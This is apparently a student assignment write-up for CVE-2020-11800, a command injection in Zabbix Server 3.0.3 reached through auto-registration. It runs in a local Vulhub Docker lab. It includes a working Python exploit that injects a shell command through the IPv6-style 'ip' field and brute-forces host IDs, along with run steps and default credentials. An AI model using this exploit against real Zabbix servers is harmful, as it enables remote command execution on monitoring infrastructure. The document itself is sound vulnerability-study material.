
PoC exploit for CVE-2020-11800, a command injection in Zabbix Server via malicious agent auto-registration, with Python-based payload delivery and host ID brute-forcing.
Sections required by the assignment guidelines are marked with “(Required)”.
This environment uses a custom Dockerfile based on the vulnerable Zabbix Server image provided by Vulhub.
FROM vulhub/zabbix:3.0.3-server
The Dockerfile builds a local image using the vulnerable Zabbix 3.0.3 server environment. No additional packages or configuration were added during the build process.
The vulnerable environment is configured using Docker Compose.
The environment consists of four services:
The server service is built locally using the Dockerfile:
server:
build: .
image: cve-2020-11800-server
The MySQL container automatically imports SQL initialization files from the src/ directory using volume mounting:
volumes:
- ./src/:/docker-entrypoint-initdb.d/
This allows the database schema and initial Zabbix data to be loaded automatically when the container starts.
The environment operates using the following structure:
[Browser]
↓
[Zabbix Web]
↓
[Zabbix Server]
↓
[MySQL]
[Agent] → [Server]
Provides the web-based management interface accessible through the browser.
The administrator configures auto-registration and executes monitoring-related operations through this interface.
The core component responsible for:
The command injection vulnerability is triggered inside this container.
Acts as a monitored host and communicates with the Zabbix Server.
The exploit abuses the auto-registration mechanism during the agent registration process.
Stores Zabbix configuration data, host information, and monitoring-related data.
| Service | Image | Version |
|---|---|---|
| Zabbix Server | vulhub/zabbix | 3.0.3-server |
| Zabbix Web | vulhub/zabbix | 3.0.3-web |
| MySQL | mysql | 5 |
The environment is based on the vulnerable Zabbix 3.0.3 environment provided by Vulhub.
CVE-2020-11800 is a command injection vulnerability in the Zabbix Server Active Proxy Trapper functionality.
The vulnerability exists because the patch for CVE-2017-2824 was incomplete. An attacker can bypass the original patch using an IPv6-style payload and execute arbitrary commands on the Zabbix Server.
The vulnerability is triggered during the auto-registration process when the server processes user-controlled host information.
The root cause of the vulnerability is the unsafe handling of user-controlled input inside shell commands.
During script execution, Zabbix Server uses the registered host IP value to construct commands such as:
ping <host_ip>
Under normal conditions:
ping 127.0.0.1
However, if an attacker registers a host using the following payload:
ffff:::;touch /tmp/success2
the final command executed by the shell becomes:
ping ffff:::;touch /tmp/success2
Because the semicolon (;) acts as a shell command separator, the shell interprets the input as two separate commands:
ping ffff:::
touch /tmp/success2
As a result, arbitrary command execution becomes possible.
The original patch for CVE-2017-2824 attempted to restrict malicious input values.
However, the validation logic did not properly handle IPv6-style input.
The payload:
ffff:::;touch /tmp/success2
uses an IPv6-like prefix (ffff:::) to bypass the existing validation logic while still injecting shell metacharacters.
This allows attackers to bypass the previous patch and continue exploiting the command injection vulnerability.
The exploit process occurs in the following order:
Attacker
↓
Fake Agent Registration
↓
Malicious IP Stored
↓
Zabbix Script Execution
↓
Shell Command Construction
↓
Command Injection
↓
Arbitrary Command Execution
The attacker first sends a malicious auto-registration request containing a crafted IP field.
After the host is registered, the Zabbix Server executes a monitoring script using the stored host IP value.
During this process, the malicious payload is interpreted by the shell, leading to arbitrary command execution.
The exploit allows attackers to execute arbitrary commands with the privileges of the Zabbix Server process.
In this environment, successful exploitation created the following file inside the server container:
/tmp/success2
This confirms that injected shell commands were executed successfully.
In a real environment, successful exploitation could allow attackers to:
The vulnerability is particularly dangerous because monitoring servers often have visibility into multiple internal systems and infrastructure components.
The Proof of Concept (PoC) was written in Python and communicates directly with the Zabbix Server over TCP port 10051.
The PoC performs the following actions:
hostid valuesimport sys
import socket
import json
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
response = conn.recv(2048)
conn.close()
return response
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target-ip>")
sys.exit(1)
target = sys.argv[1]
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
print("[*] Sending malicious auto-registration request...")
print(send(target, payload))
print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
data = send(target, {
"request": "command",
"scriptid": 1,
"hostid": str(i)
})
if data and b'failed' not in data:
print("[+] hostid: %d" % i)
print(data)
The payload used in this PoC is:
ffff:::;touch /tmp/success2
| Part | Purpose |
|---|---|
ffff::: | IPv6-like prefix used for validation bypass |
; | Shell command separator |
touch /tmp/success2 | Arbitrary command executed on the server |
The payload abuses the fact that the server improperly concatenates user-controlled IP values into shell commands.
The payload is delivered through the ip field during the auto-registration process.
The first request sent by the PoC attempts to register a malicious host.
payload = {
"request": "active checks",
"host": "vulhub",
"ip": "ffff:::;touch /tmp/success2"
}
After registration, the PoC attempts to locate a valid hostid.
for i in range(10000, 10500):
The PoC iterates through a range of possible host IDs and attempts to trigger script execution.
This step is necessary because the server dynamically assigns host IDs after registration.
The following request triggers command execution:
{
"request": "command",
"scriptid": 1,
"hostid": str(i)
}
| Parameter | Description |
|---|---|
request | Requests script execution |
scriptid | ID of the configured Zabbix script |
hostid | Target host ID |
In this environment, scriptid:1 corresponds to a ping-related script that uses the host IP value during command execution.
The Zabbix Server internally constructs a shell command similar to:
ping ffff:::;touch /tmp/success2
The shell interprets this as:
ping ffff:::
touch /tmp/success2
As a result:
touch command executes successfullyDuring successful exploitation, the following output may appear:
ping: bad address 'ffff:::'
This indicates that the payload reached the shell command execution stage.
Successful exploitation is confirmed when the following file exists inside the server container:
/tmp/success2
The complete exploit flow is summarized below:
Start Docker Environment
↓
Access Zabbix Web Interface
↓
Enable Auto Registration
↓
Run exploit.py
↓
Register Malicious Host
↓
Trigger Script Execution
↓
Command Injection
↓
Verify /tmp/success2
Start the vulnerable environment using Docker Compose.
docker compose up -d
Check whether all containers are running correctly.
docker compose ps
The environment should include the following containers:
Open the browser and access the Zabbix web interface.
http://127.0.0.1:8080
Default credentials:
Username: admin
Password: zabbix
The exploit requires the auto-registration feature to be enabled.
Navigate to:
Configuration → Actions
Change the Event Source to:
Auto registration
Create a new Action and configure the following operation:
Operation Type: Add Host
This allows newly registered agents to be automatically added to the server.
Execute the PoC script.
python3 exploit.py 127.0.0.1
The PoC sends a malicious auto-registration request and attempts to trigger command execution using multiple host IDs.
During successful exploitation, output similar to the following may appear:
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}
This indicates that the payload reached the vulnerable shell command execution path.
Access the Zabbix Server container.
docker exec -it cve-2020-11800-server-1 bash
Verify whether the injected command created the target file.
ls -l /tmp/success2
Successful exploitation produces output similar to:
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2
This confirms that arbitrary commands were executed successfully inside the Zabbix Server container.
The following screenshots were included in the screenshots/ directory:

